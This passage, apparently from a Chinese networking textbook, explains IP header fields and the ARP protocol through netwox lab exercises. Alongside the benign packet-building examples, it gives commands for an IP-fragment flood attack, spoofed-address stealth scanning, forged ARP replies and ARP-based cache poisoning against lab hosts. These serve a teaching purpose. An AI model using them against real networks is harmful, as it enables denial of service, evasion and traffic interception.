在一个路由式网络中，源地址主机向目标地址主机发送数据时，IP协议是如何将数据成功发送到目标主机上的呢？由于网络分同网段和不同网段两种情况，工作方式如下：

1.同网段

如果源地址主机和目标地址主机在同一网段，目标IP地址被ARP协议解析为MAC地址，然后根据MAC地址，源主机直接把数据包发给目标主机。

2.不同网段

如果源地址主机和目标地址主机在不同网段，数据包发送过程如下：

（1）网关（一般为路由器）的IP地址被ARP协议解析为MAC地址。根据该MAC地址，源主机将数据包发送到网关。

（2）网关根据数据包中的网段ID寻找目标网络。如果找到，将数据包发送到目标网段；如果没找到，重复步骤（1）将数据包发送到上一级网关。

（3）数据包经过网关被发送到正确的网段中。目标IP地址被ARP协议解析为MAC地址。根据该MAC地址，数据包被发送给目标地址的主机。


3.2.2　IP协议包结构

在TCP/IP协议中，使用IP协议传输数据的包被称为IP数据包。每个数据包都包含IP协议规定的内容。IP协议规定的这些内容被称为IP数据报文（IP Datagram）或者IP数据报。IP数据报文由首部和数据两部分组成。首部的前一部分是固定长度，共20字节，是所有IP数据报必须具有的。在首部的固定部分的后面是一些可选字段，其长度是可变的。

每个IP数据报都以一个IP报头开始。源计算机构造这个IP报头，而目的计算机利用IP报头中封装的信息处理数据。IP报头中包含大量的信息，如源IP地址、目的IP地址、数据报长度、IP版本号等。每个信息都被称为一个字段。IP数据报头字段如图3.2所示。

IP报头的最小长度为20字节，图3.2中每个字段的含义如下：

·版本（version）：占4位，表示IP协议的版本。通信双方使用的IP协议版本必须一致。目前广泛使用的IP协议版本号为4，即IPv4。

·首部长度（网际报头长度IHL）：占4位，可表示的最大十进制数值是15。这个字段所表示数的单位是32位字长（1个32位字长是4字节）。因此，当IP的首部长度为1111时（即十进制的15），首部长度就达到60字节。当IP分组的首部长度不是4字节的整数倍时，必须利用最后的填充字段加以填充。数据部分永远在4字节的整数倍开始，这样在实现IP协议时较为方便。首部长度限制为60字节的缺点是，长度有时可能不够用，之所以限制长度为60字节，是希望用户尽量减少开销。最常用的首部长度就是20字节（即首部长度为0101），这时不使用任何选项。
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图3.2　IP数据报头字段

·区分服务（tos）：也被称为服务类型，占8位，用来获得更好的服务。这个字段在旧标准中叫做服务类型，但实际上一直没有被使用过。1998年IETF把这个字段改名为区分服务（Differentiated Services，DS）。只有在使用区分服务时，这个字段才起作用。

·总长度（totlen）：首部和数据之和，单位为字节。总长度字段为16位，因此数据报的最大长度为2^16-1=65535字节。

·标识（identification）：用来标识数据报，占16位。IP协议在存储器中维持一个计数器。每产生一个数据报，计数器就加1，并将此值赋给标识字段。当数据报的长度超过网络的MTU，而必须分片时，这个标识字段的值就被复制到所有的数据报的标识字段中。具有相同的标识字段值的分片报文会被重组成原来的数据报。

·标志（flag）：占3位。第一位未使用，其值为0。第二位称为DF（不分片），表示是否允许分片。取值为0时，表示允许分片；取值为1时，表示不允许分片。第三位称为MF（更多分片），表示是否还有分片正在传输，设置为0时，表示没有更多分片需要发送，或数据报没有分片。

·片偏移（offsetfrag）：占13位。当报文被分片后，该字段标记该分片在原报文中的相对位置。片偏移以8个字节为偏移单位。所以，除了最后一个分片，其他分片的偏移值都是8字节（64位）的整数倍。

·生存时间（TTL）：表示数据报在网络中的寿命，占8位。该字段由发出数据报的源主机设置。其目的是防止无法交付的数据报无限制地在网络中传输，从而消耗网络资源。路由器在转发数据报之前，先把TTL值减1。若TTL值减少到0，则丢弃这个数据报，不再转发。因此，TTL指明数据报在网络中最多可经过多少个路由器。TTL的最大数值为255。若把TTL的初始值设为1，则表示这个数据报只能在本局域网中传送。

·协议：表示该数据报文所携带的数据所使用的协议类型，占8位。该字段可以方便目的主机的IP层知道按照什么协议来处理数据部分。不同的协议有专门不同的协议号。例如，TCP的协议号为6，UDP的协议号为17，ICMP的协议号为1。

·首部检验和（checksum）：用于校验数据报的首部，占16位。数据报每经过一个路由器，首部的字段都可能发生变化（如TTL），所以需要重新校验。而数据部分不发生变化，所以不用重新生成校验值。

·源地址：表示数据报的源IP地址，占32位。

·目的地址：表示数据报的目的IP地址，占32位。该字段用于校验发送是否正确。

·可选字段：该字段用于一些可选的报头设置，主要用于测试、调试和安全的目的。这些选项包括严格源路由（数据报必须经过指定的路由）、网际时间戳（经过每个路由器时的时间戳记录）和安全限制。

·填充：由于可选字段中的长度不是固定的，使用若干个0填充该字段，可以保证整个报头的长度是32位的整数倍。

·数据部分：表示传输层的数据，如保存TCP、UDP、ICMP或IGMP的数据。数据部分的长度不固定。


3.3　构造IP数据包

为了更好地掌握IP协议，下面使用netwox工具提供的模块来构建各种IP数据包。


3.3.1　构建IP数据包

netwox工具提供编号为38的模块，用来构造IP数据包。用户不仅可以设置源IP地址和目标IP地址，还可以设置TTL、数据分片等字段。

【实例3-3】构造IP数据包。

（1）不指定选项，直接运行该模块。执行命令如下：



root@daxueba:~# netwox 38



输出信息如下：



IP______________________________________________________________.
|version|  ihl  |      tos      |             totlen            |
|___4___|___5___|____0x00=0_____|___________0x0014=20___________|
|              id               |r|D|M|       offsetfra         |
|_________0x87D6=34774__________|0|0|0|________0x0000=0_________|
|      ttl      |    protocol   |           checksum            |
|____0x00=0_____|____0x00=0_____|____________0x2ADB_____________|
|                            source                             |
|________________________192.168.59.131_________________________|
|                          destination                          |
|____________________________5.6.7.8____________________________|



在输出信息中，第一行IP表示当前数据包是基于IP协议的。包中的字段值均为默认值。例如，源IP地址为192.168.59.131，目的IP地址为5.6.7.8。

（2）指定源IP地址为192.168.59.132，目标IP地址为192.168.12.101。执行命令如下：



root@daxueba:~# netwox 38 -l 192.168.59.132 -m 192.168.12.101



输出信息如下：



IP______________________________________________________________.
|version|  ihl  |      tos       |            totlen                    |
|___4___|___5___|____0x00=0_____ |___________0x0014=20___________       |
|              id                |r|D|M|       offsetfrag               |
|__________0x1B26=6950__________ |0|0|0|________0x0000=0_________       |
|      ttl      |   protocol     |           checksum                   |
|____0x00=0_____|____0x00=0_____ |____________0xD68A_____________       |
|                            source                                     |
|________________________192.168.59.132_________________________        |
|                          destination                                  |
|________________________192.168.12.101_________________________        |



从上述输出信息中可看出，源IP地址由原来的192.168.59.131变为了192.168.59.132，目的IP地址由原来的5.6.7.8变为了192.168.12.101。

（3）通过抓包，验证构造的IP数据包。捕获到的数据包如图3.3所示。其中，第2个数据包为构造的数据包。源IP地址为192.168.59.132，目标IP地址为192.168.12.101，协议为IPv4。
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图3.3　捕获IPv4数据包


3.3.2　基于Ethernet层构造IP数据包

netwox工具提供编号为34的模块，用于指定IP数据报的以太层字段信息。

【实例3-4】指定IP数据报的以太层字段信息。

（1）不指定选项，直接运行该模块，查看默认设置。执行命令如下：



root@daxueba:~# netwox 34



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:CA:E4:66->00:08:09:0A:0B:0C type:0x0800              |
|_______________________________________________________________|
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen             |
|___4___|___5___|____0x00=0_____|___________0x0014=20__________ |
|              id                     |r|D|M|       offsetfrag  |
|_________0xE1C2=57794________  |0|0|0|________0x0000=0_________|
|      ttl      |   protocol    |           checksum            |
|____0x00=0_____|____0x00=0_____|____________0xD0EE_____________|
|                            source                             |
|________________________192.168.59.131_________________________|
|                          destination                          |
|____________________________5.6.7.8____________________________|



在输出信息中，第一行Ethernet表示当前数据包的以太网层字段信息。这些字段值均为默认值。例如，当前以太网的源MAC地址为00：0C：29：CA：E4：66，目标MAC地址为00：08：09：0A：0B：0C。

（2）指定以太网的源MAC地址和目标MAC地址。设置源MAC地址为00：0C：29：C4：8A：DE，目标MAC地址为00：0C：29：D0：21：23，目标IP地址为192.168.59.156。执行命令如下：



root@daxueba:~# netwox 34 -a 00:0C:29:C4:8A:DE -b 00:0C:29:D0:21:23



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:C4:8A:DE->00:0C:29:D0:21:23 type:0x0800                   |
|_______________________________________________________________     |
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen                  |
|___4___|___5___|____0x00=0_____|___________0x0014=20___________     |
|              id                       |r|D|M|       offsetfrag     |
|_________0x6983=27011__________|0|0|0|________0x0000=0_________     |
|      ttl      |   protocol    |           checksum                 |
|____0x00=0_____|____0x00=0_____|____________0x492E_____________     |
|                                   source                           |
|____________________________192.168.59.131_________________________ |
|                                destination                         |
|____________________________192.168.59.156__________________________|



从输出信息可以看到，以太网的MAC地址由原来的00：0C：29：CA：E4：66变为了00：0C：29：C4：8A：DE，目标MAC地址由原来的00：08：09：0A：0B：0C变为了00：0C：29：D0：21：23。

（3）验证构造的数据包，使用Wireshark工具捕获数据包，如图3.4所示。其中，第2个数据包为构造的IPv4数据包。在Ethernet II部分中，源MAC地址为指定的00：0C：29：c4：8a：de，目标MAC地址为指定的00：0c：29：d0：21：23。

[image: ]


图3.4　捕获伪造的数据包


3.3.3　利用分片实施洪水攻击

IP协议在传输数据包时，经常会进行分片传输。例如，当一个设备准备传输一个IP数据包时，它将首先获取这个数据包的大小，然后获取发送数据包所使用的网络接口的最大传输单元值（MTU）。如果数据包的大小大于MTU，则该数据包将被分片。将一个数据包分片包括下面几步：

（1）设备将数据包分为若干个可成功进行传输的数据包。

（2）每个IP数据包的首部的总长度域会被设置为每个分片的片段长度。

（3）更多分片标志将会在数据流的所有数据包中设置为1，除了最后一个数据包。

（4）IP数据包头中分片部分的分片偏移将会被设置。

（5）数据包被发送出去。

目标主机收到分片包后，会根据分片信息重组报文。如果发送大量的无效IP分片包，会造成洪水攻击。用户可以使用netwox工具中编号为74的模块实施洪水攻击。

【实例3-5】已知目标主机IP地址为192.168.59.135，使用netwox工具向目标主机发送大量的IP分片实施洪水攻击，执行命令如下：



root@daxueba:~# netwox 74 -i 192.168.59.135



执行命令后没有任何输出信息，但是会向目标主机发送大量的IP分片数据包。如果使用Wireshark工具抓包，可以捕获到大量的IP分片数据包，如图3.5所示。图中显示了大量的IPv4数据包，Info列中的Fragmented IP protocol信息表示数据包为IP分片数据包。
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图3.5　捕获IP分片数据包


第4章　ARP协议

地址解析协议（Address Resolution Protocol，ARP）是根据IP地址获取物理地址的一个TCP/IP协议。它通过IP地址向MAC地址的转换，解决网际层和网络访问层的衔接问题。本章将详细讲解ARP协议的规范以及相关应用。


4.1　ARP协议概述

由于IP地址和MAC地址定位方式不同，ARP协议成为数据传输的必备协议。主机发送信息前，必须通过ARP协议获取目标IP地址对应的MAC地址，才能正确地发送数据包。本节将介绍ARP协议的工作机制和结构。


4.1.1　为什么需要ARP协议

在网络访问层中，同一局域网中的一台主机要和另一台主机进行通信，需要通过MAC地址进行定位，然后才能进行数据包的发送。而在网络层和传输层中，计算机之间是通过IP地址定位目标主机，对应的数据报文只包含目标主机的IP地址，而没有MAC地址。因此，在发送之前需要根据IP地址获取MAC地址，然后才能将数据包发送到正确的目标主机，而这个获取过程是通过ARP协议完成的。


4.1.2　基本流程

ARP工作流程分为两个阶段，一个是ARP请求过程，另一个是ARP响应过程。工作流程如图4.1和图4.2所示。

图4.1和图4.2中，主机A的IP地址为192.168.1.1，主机B的IP地址为192.168.1.2。主机A与主机B进行通信，需要获取其MAC地址，基本流程如下：

（1）主机A以广播形式向网络中所有主机发送ARP请求，请求包中包含了目标IP地址192.168.1.2。

（2）主机B接收到请求，发现自己就是主机A要找的主机，返回响应。响应包中包含自己的MAC地址。
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图4.1　ARP请求
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图4.2　ARP响应


4.1.3　ARP缓存

在请求目标主机的MAC地址时，每次获取目标主机MAC地址都需要发送一次ARP请求，然后根据响应获取到MAC地址。为了避免重复发送ARP请求，每台主机都有一个ARP高速缓存。当主机得到ARP响应后，将目标主机的IP地址和物理地址存入本机ARP缓存中，并保留一定时间。只要在这个时间范围内，下次请求MAC地址时，直接查询ARP缓存，而无须再发送ARP请求，从而节约了网络资源。

当有了ARP缓存以后，ARP的工作流程如下：

（1）主机A在本机ARP缓存中检查主机B的匹配MAC地址。

（2）如果在ARP缓存中没有找到主机B的IP地址及对应的MAC地址，它将询问主机B的MAC地址，从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。

（3）本地网络上的每台主机都接收到ARP请求，并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配，它将丢弃ARP请求。主机B确定ARP请求中的IP地址与自己的IP地址匹配，则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。

（4）主机B将包含自身MAC地址的ARP回复消息直接发送给主机A。

（5）当主机A收到从主机B发来的ARP回复消息时，会用主机B的IP地址和MAC地址更新ARP缓存。

（6）主机B的MAC地址一旦确定，主机A就能向主机B发送IP数据包。本机缓存是有生存期的，生存期结束后，将再次重复上面的过程。


4.1.4　查看ARP缓存

每次成功得到ARP响应以后，就会将IP地址对应的MAC地址添加到ARP缓存中。用户可以通过arp命令查看ARP缓存中的信息，并验证是否会将目标IP地址和MAC地址添加到ARP缓存中。

【实例4-1】查看ARP缓存表并验证添加的IP地址和MAC地址。

（1）使用arp命令查看当前主机缓存信息，执行命令如下：



root@daxueba:~# arp -a



输出信息如下：



localhost (192.168.59.254) at 00:50:56:f7:9b:0d [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0



上述输出信息表示当前ARP缓存中有两组信息，192.168.59.254对应的MAC地址为00：50：56：f7：9b：0d，192.168.59.2对应的MAC地址为00：50：56：ea：f3：a1。

（2）在当前主机上与主机192.168.59.135进行通信。例如，可以使用ping命令探测该主机。执行命令如下：



root@daxueba:~# ping 192.168.59.135



输出信息如下：



PING 192.168.59.135 (192.168.59.135) 56(84) bytes of data.
64 bytes from 192.168.59.135: icmp_seq=1 ttl=64 time=1.64 ms
64 bytes from 192.168.59.135: icmp_seq=2 ttl=64 time=0.420 ms
64 bytes from 192.168.59.135: icmp_seq=3 ttl=64 time=0.405 ms
64 bytes from 192.168.59.135: icmp_seq=4 ttl=64 time=0.343 ms



上述输出信息表示成功向目标主机192.168.59.135发送了ping请求并得到了响应。

（3）当前主机的ARP缓存将会添加目标主机的IP地址及MAC地址。再次查看当前主机缓存信息，执行命令如下：



oot@daxueba:~# arp -a
localhost (192.168.59.135) at 00:0c:29:ca:e4:66 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f7:9b:0d [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0



上述输出信息中加粗部分为添加到ARP缓存中的目标主机的IP地址和MAC地址信息。


4.2　ARP协议包结构

ARP协议包主要分为ARP请求包和ARP响应包。本节将介绍ARP协议包的结构。


4.2.1　协议包的结构

ARP协议是通过报文进行工作的，ARP报文格式如图4.3所示。
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图4.3　ARP报文格式

[image: ]
 提示：
 ARP报文总长度为28字节，MAC地址长度为6字节，IP地址长度为4字节。

其中，每个字段的含义如下。

·硬件类型：指明了发送方想知道的硬件接口类型，以太网的值为1。

·协议类型：表示要映射的协议地址类型。它的值为0x0800，表示IP地址。

·硬件地址长度和协议长度：分别指出硬件地址和协议的长度，以字节为单位。对于以太网上IP地址的ARP请求或应答来说，它们的值分别为6和4。

·操作类型：用来表示这个报文的类型，ARP请求为1，ARP响应为2，RARP请求为3，RARP响应为4。

·发送方MAC地址：发送方设备的硬件地址。

·发送方IP地址：发送方设备的IP地址。

·目标MAC地址：接收方设备的硬件地址。

·目标IP地址：接收方设备的IP地址。

ARP数据包分为请求包和响应包，对应报文中的某些字段值也有所不同。

（1）ARP请求包报文的操作类型（op）字段的值为request(1)，目标MAC地址字段的值为Target 00：00：00_00：00：00(00：00：00：00：00：00)（广播地址）。

（2）ARP响应包报文中操作类型（op）字段的值为reply(2)，目标MAC地址字段的值为目标主机的硬件地址。


4.2.2　构造ARP包

ARP数据包默认由操作系统自动发送。用户可以自己构造ARP包，向目标主机发送请求，从而获取目标主机的MAC地址。这时，可以使用netwox工具提供的编号为33的模块。

【实例4-2】使用netwox工具构造ARP包。

（1）查看netwox所在主机默认的ARP包的相关信息，执行命令如下：



root@daxueba:~# netwox 33



输出信息如下：



Ethernet________________________________________________________.
| 50:E5:49:EB:46:8D->00:08:09:0A:0B:0C type:0x0806                    |
|_______________________________________________________________      |
ARP Request_____________________________________________________.
| this address : 50:E5:49:EB:46:8D 0.0.0.0                            |
| asks         : 00:00:00:00:00:00 0.0.0.0                            |
|_______________________________________________________________      |



上述输出信息中，Ethernet部分为以太网信息。ARP Request部分为ARP请求。this address表示源地址信息。其中，50：E5：49：EB：46：8D为源主机MAC地址；asks为目标地址信息，这里为ARP请求包。由于还没有构造请求，因此地址为0。

（2）构造ARP请求包，请求目标主机192.168.12.102，执行命令如下：



root@kali:~# netwox 33 -i 192.168.12.102



输出信息如下：



Ethernet________________________________________________________.
| 50:E5:49:EB:46:8D->00:08:09:0A:0B:0C type:0x0806                    |
|_______________________________________________________________      |
ARP Request_____________________________________________________.
| this address : 50:E5:49:EB:46:8D 0.0.0.0                            |
| asks         : 00:00:00:00:00:00 192.168.12.102                     |
|_______________________________________________________________      |



此时，ARP Request部分asks中的00：00：00：00：00：00为目标MAC地址，因为正在请求目标主机的MAC地址，所以为00：00：00：00：00：00。192.168.12.102为目标主机的IP地址，表示向该主机进行ARP请求。

（3）为了验证构造的ARP请求包，使用Wireshark进行抓包，如图4.4所示。其中，第一个数据包为构造的ARP请求包。在Address Resolution Protocol(request)部分中，Opcode的值为request(1)，表示该数据包为ARP请求包；Target MAC address的值为00：00：00_00：00：00(00：00：00：00：00：00)，表示此时没有获取目标MAC地址；Target IP address的值192.168.12.102，表示请求主机的IP地址。
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图4.4　ARP请求包

（4）如果请求的目标主机存在，将成功返回ARP响应数据包，如图4.5所示。其中，第2个数据包为ARP响应数据包。在Address Resolution Protocol(reply)部分中，Opcode的值为reply(2)，表示该数据包为ARP响应包；Sender IP address的值为192.168.12.102，表示此时源主机为目标主机；Sender MAC address的值为Giga-Byt_17：cf：21(50：e5：49：17：cf：21)，表示50：e5：49：17：cf：21为目标主机192.168.12.102的MAC地址。
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图4.5　ARP响应


4.2.3　免费ARP包

免费ARP（Gratuitous ARP）包是一种特殊的ARP请求，它并非期待得到IP对应的MAC地址，而是当主机启动的时候，发送一个Gratuitous ARP请求，即请求自己的IP地址的MAC地址。本节将介绍免费ARP包的结构、作用，以及如何发送免费ARP包。

1.免费ARP包的结构

免费ARP报文与普通ARP请求报文的区别在于报文中的目标IP地址。普通ARP报文中的目标IP地址是其他主机的IP地址；而免费ARP的请求报文中，目标IP地址是自己的IP地址。

2.作用

免费ARP数据包有以下3个作用。

·该类型报文起到一个宣告作用。它以广播的形式将数据包发送出去，不需要得到回应，只为了告诉其他计算机自己的IP地址和MAC地址。

·可用于检测IP地址冲突。当一台主机发送了免费ARP请求报文后，如果收到了ARP响应报文，则说明网络内已经存在使用该IP地址的主机。

·可用于更新其他主机的ARP缓存表。如果该主机更换了网卡，而其他主机的ARP缓存表仍然保留着原来的MAC地址。这时，可以发送免费的ARP数据包。其他主机收到该数据包后，将更新ARP缓存表，将原来的MAC地址替换为新的MAC地址。

3.构造免费ARP包

用户可以使用netwox工具中编号为33的模块构造免费的ARP数据包。

【实例4-3】构造免费的ARP数据包。

（1）构造免费的ARP数据包，设置源IP地址和目标IP地址为192.168.59.132，执行命令如下：



root@daxueba:~# netwox 33 -g 192.168.59.132 -i 192.168.59.132



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:AA:E0:27->00:08:09:0A:0B:0C type:0x0806                    |
|_______________________________________________________________      |
ARP Request_____________________________________________________.
| this address : 00:0C:29:AA:E0:27 192.168.59.132                     |
| asks         : 00:00:00:00:00:00 192.168.59.132                     |
|_______________________________________________________________      |



（2）使用Wireshark进行抓包，验证构造的免费ARP数据包，如图4.6所示。其中，第一个数据包的Info列显示Gratuitous ARP for 192.168.59.132(Request)，表示该数据包为构造的免费ARP数据包。在Address Resolution Protocol(request/gratuitous ARP)部分中，Sender IP address和Target IP address的值为同一个IP地址192.168.59.132。
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图4.6　构造免费ARP数据包


4.3　基于ARP协议扫描

ARP协议是根据目标主机的IP地址获取对应的MAC地址。如果目标主机存在，将返回MAC地址。利用这一点，用户可以基于ARP协议对目标主机进行扫描，来判断目标主机是否启用。


4.3.1　扫描单一主机

如果用户想判断一个主机是否启用，可以使用netwox工具中编号为55的模块对目标主机进行ARP协议扫描。

【实例4-4】判断主机192.168.59.135是否启用。

（1）查看netwox所在主机的IP地址，执行命令如下：



root@daxueba:~# ifconfig



输出信息如下：



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.59.132  netmask 255.255.255.0  broadcast 192.168.59.255
        inet6 fd15:4ba5:5a2b:1008:20c:29ff:feaa:e027  prefixlen 64  scopeid
        0x0<global>
        inet6 fd15:4ba5:5a2b:1008:b95e:f970:dff4:789  prefixlen 64  scopeid
        0x0<global>
        inet6 fe80::20c:29ff:feaa:e027  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:aa:e0:27  txqueuelen 1000  (Ethernet)
        RX packets 28796  bytes 21695251 (20.6 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7210  bytes 552808 (539.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0



从输出信息可以了解到，netwox所在主机的IP地址为192.168.59.132，MAC地址为00：0c：29：aa：e0：27。

（2）验证目标主机是否启用，执行命令如下：



root@daxueba:~# netwox 55 -i 192.168.59.135



输出信息如下：



Ok
Ok
Ok
Ok
Ok
Ok
…                                                                  #省略其他信息



输出信息在持续地显示OK，表示持续不断地向目标主机进行了扫描。其中，OK代表目标主机已启用。如果目标主机未启用将不会有任何输出信息。

（3）为了验证ARP协议扫描，可以通过Wireshark进行抓包，如图4.7所示。其中，第1~6个数据包是对目标主机进行扫描时产生的ARP数据包。第1、3、5个数据包为ARP请求数据包，第2、4、6个数据包为ARP响应数据包。选择任意一个请求数据包，Address Resolution Protocol(request)部分的源IP地址和MAC地址正好为netwox主机的地址，目标IP地址为扫描的目标主机地址。此时，目标MAC地址为0，表示在向目标主机发送了ARP请求数据包。

（4）选择任意一个ARP响应包，查看信息，如图4.8所示。这里，选择的是第2个数据包。在Address Resolution Protocol(reply)部分中，源IP地址和MAC地址为目标主机的地址；目标IP地址和MAC地址为netwox主机的地址，表示目标主机成功向netwox主机返回了响应。
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图4.7　ARP协议包

[image: ]


图4.8　ARP响应包


4.3.2　扫描多个主机

有时用户需要判断多个主机的启用情况，使用上述的扫描方式需要分别对每个主机进行扫描，这样比较费时。这时，可以使用netwox工具中编号为71的模块进行扫描。如果主机启用，则返回对应的MAC地址。

【实例4-5】判断主机192.168.59.133-192.168.59.140的启用情况。

（1）扫描多个主机，执行命令如下：



root@daxueba:~# netwox 71 -i 192.168.59.133,192.168.59.134,192.168.59.135,
192. 168.59.136,192.168.59.137,192.168.59.138,192.168.59.139,192.168.59.140



输出信息如下：



192.168.59.134 : 00:0C:29:BD:C4:3C
192.168.59.135 : 00:0C:29:CA:E4:66
192.168.59.133 : unreached
192.168.59.136 : unreached
192.168.59.137 : unreached
192.168.59.138 : unreached
192.168.59.139 : unreached
192.168.59.140 : unreached



以上输出信息显示了对主机192.168.59.133～192.168.59.140进行了扫描。如果主机已启用，将给出对应的MAC地址，如主机192.168.59.135的MAC地址00：0C：29：CA：E4：66；如果主机是未启用的，将给出unreached，如主机192.168.59.133是未启用的。

（2）为了验证扫描过程，使用Wireshark工具进行抓包，如图4.9所示。其中，第4～11个数据包分别为对每个主机进行了ARP请求。其中，第5个数据包和第6个数据包为对主机192.168.59.134和192.168.59.135发送的ARP请求，并得到了ARP响应包。第12个和第13个数据包说明这两个主机是启用状态。
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图4.9　扫描多个主机


4.3.3　隐蔽扫描

在判断目标主机是否存在时，为了避免被发现，用户可以使用netwox工具中编号为56和72的模块来伪造地址信息。这样，即使被发现，对方获取的也是一个假的地址信息。

【实例4-6】已知netwox所在主机的IP地址为192.168.59.132，对单一主机扫描，并伪造地址信息。例如，判断目标主机192.168.59.135是否启用。具体步骤如下：

（1）伪造虚假地址，设置IP地址为192.168.59.160，MAC地址为A1：B2：C3：D4：E5：F6，验证目标主机192.168.59.135是否启用，执行命令如下：



root@daxueba:~# netwox 56 -i 192.168.59.135 -I 192.168.59.160 -E A1:B2:C3:
D4:E5:F6



扫描结果如下：



Ok
Ok
Ok
Ok
Ok
Ok
…                                                      #省略其他信息



（2）通过捕获数据包验证是否伪造了地址，捕获的数据包如图4.10所示。其中，第一个数据包为ARP请求数据包。其中，源IP地址为伪造的192.168.59.160，MAC地址也是伪造的a1：b2：c3：d4：e5：f6。
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图4.10　捕获的数据包

（3）选择任意一个响应包，查看地址信息，如图4.11所示。其中，第2个数据包为对应的ARP响应包，可以看到成功返回了目标主机的MAC地址。但是，响应包中的目标地址为伪造的地址信息，而不是netwox主机真实的地址。
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图4.11　捕获的数据包

【实例4-7】已知netwox所在主机的IP地址为192.168.59.132，对多台主机扫描伪造地址信息。例如，判断目标主机192.168.59.133-192.168.59.135的启用情况。具体步骤如下：

（1）设置扫描主机的假IP地址为192.168.59.125，MAC地址为00：0c：29：ca：e4：99，验证多个目标主机是否启用，执行命令如下：



root@daxueba:~# netwox 72 -i 192.168.59.133,192.168.59.134,192.168.59.135
-E 00:0c:29:ca:e4:99 -I 192.168.59.125



输出信息如下：



Warning : Eth address needed to reach 192.168.59.133 is unknown
Warning : Eth address needed to reach 192.168.59.134 is unknown
192.168.59.135 : 00:0C:29:CA:E4:66



以上输出信息表示主机192.168.59.135是启用的，主机192.168.59.133和192.168.59.134未启用。

（2）如果主机是启用的，捕获的数据包的地址信息将是伪造的地址信息，如图4.12所示。其中，第5个数据包为ARP请求包，可以看到请求的目标IP地址为192.168.59.135（目标主机），源IP地址为192.168.59.125，而不是真正的192.168.59.132；MAC地址为00：0c：29：ca：e4：99，也是伪造的。
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图4.12　ARP伪造请求包

（3）查看响应包，如图4.13所示。其中，第6个数据包为对应的ARP响应包，可以看到目标IP地址和MAC地址为伪造的地址，而不是真实的netwox主机的地址。
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图4.13　伪造的ARP响应包


4.3.4　伪造ARP响应

正常情况下，向目标主机发送ARP请求，如果主机存在，将会得到一个ARP响应；如果主机不存在，将不会得到ARP响应。伪造ARP响应是指伪造一个不存在的主机的ARP响应。例如，黑客在攻击局域网中的主机时，会扫描局域网中的所有主机，然后对发现的主机实施攻击。如果伪造了ARP响应包，会误导黑客以为扫描到的主机是存在的，从而起到了迷惑作用。伪造ARP响应需要使用netwox工具中编号为73的模块。

【实例4-8】以主机A为基础实施伪造ARP响应，伪造模拟主机192.168.59.136，其MAC地址为A1：B2：C3：D4：E5：F6。已知局域网中另一主机为主机B，其IP地址为192.168.59.135。具体步骤如下：

（1）在模拟之前，验证局域网中是否存在主机192.168.59.136。在主机B上使用arping命令ping该主机。执行命令如下：



root@daxueba:~# arping 192.168.59.136



输出信息如下：



ARPING 192.168.59.136 from 192.168.59.135 eth0



没有任何输出信息，表示主机192.168.59.136不存在。

（2）在主机A上伪造ARP响应，创建虚拟主机192.168.59.136，设置其MAC地址为A1：B2：C3：D4：E5：F6。执行命令如下：



root@daxueba:~# netwox 73 -i 192.168.59.136 -e A1:B2:C3:D4:E5:F6



执行命令后没有任何输出信息，但是成功创建模拟的主机192.168.59.136。

（3）再次在主机B上使用arping命令ping该主机。执行命令如下：



root@daxueba:~# arping 192.168.59.136



输出信息如下：



ARPING 192.168.59.136 from 192.168.59.135 eth0
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6]  56.346ms
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6]  35.184ms
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6]  50.823ms
Unicast reply from 192.168.59.136 [A1:B2:C3:D4:E5:F6]  46.639ms



以上输出信息表示已经成功向主机192.168.59.136发出arping命令，并得到了对应的MAC地址A1：B2：C3：D4：E5：F6，表示该主机是存在的。

（4）为了验证整个过程，捕获数据包进行查看，如图4.14所示。其中，第1个数据包为ARP请求包，可以看到源IP地址为192.168.59.135（主机B），目标IP地址为192.168.59.136（虚拟主机）。这说明的确向虚拟主机发送了ARP请求。

（5）查看对应的响应包，如图4.15所示。其中，第2个数据包为ARP响应包，可以看到源IP地址为192.168.59.136（虚拟主机的），目标主机的IP地址为192.168.59.135（主机B），源MAC地址为a1：b2：c3：d4：e5：f6（假的），目标MAC地址为00：0c：29：ca：e4：66（主机B）。这说明虚拟主机成功给主机B返回了响应。
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图4.14　捕获的数据包
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图4.15　ARP响应


4.3.5　周期性发送ARP响应包

正常情况下，ARP响应是基于ARP请求的。只有发送了ARP请求才会得到ARP响应，并且发送一次ARP请求只会得到一个响应。周期性发送ARP响应包，是指在没有ARP请求的情况下，以广播的形式多次发送ARP响应。netwox工具提供编号为80的模块，可以模拟计算机定期发送ARP数据包，从而更新其他主机的ARP缓存表。在ARP攻击中，该功能可以达到欺骗的目的，使受害者将数据包发送到错误的MAC地址主机（攻击主机），从而导致数据包被监听。

【实例4-9】已知netwox所在主机为主机A，主机B的IP地址为192.168.59.135。使用netwox工具发送ARP响应包，以更换ARP缓存表中主机的MAC地址信息。

（1）在发送ARP响应之前，在主机B上查看主机ARP缓存表信息，执行命令如下：



root@daxueba:~# arp -a



输出信息如下：



localhost (192.168.59.136) at 00:0c:29:bc:a4:89 [ether] on eth0
localhost (192.168.59.132) at 00:0c:29:aa:e0:27 [ether] on eth0
localhost (192.168.59.125) at 00:0c:29:ca:e4:99 [ether] on eth0
localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f8:bb:0f [ether] on eth0
localhost (192.168.59.2) at 00:50:56:ea:f3:a1 [ether] on eth0



上述输出信息中，主机192.168.59.136的MAC地址为00：0c：29：bc：a4：89。

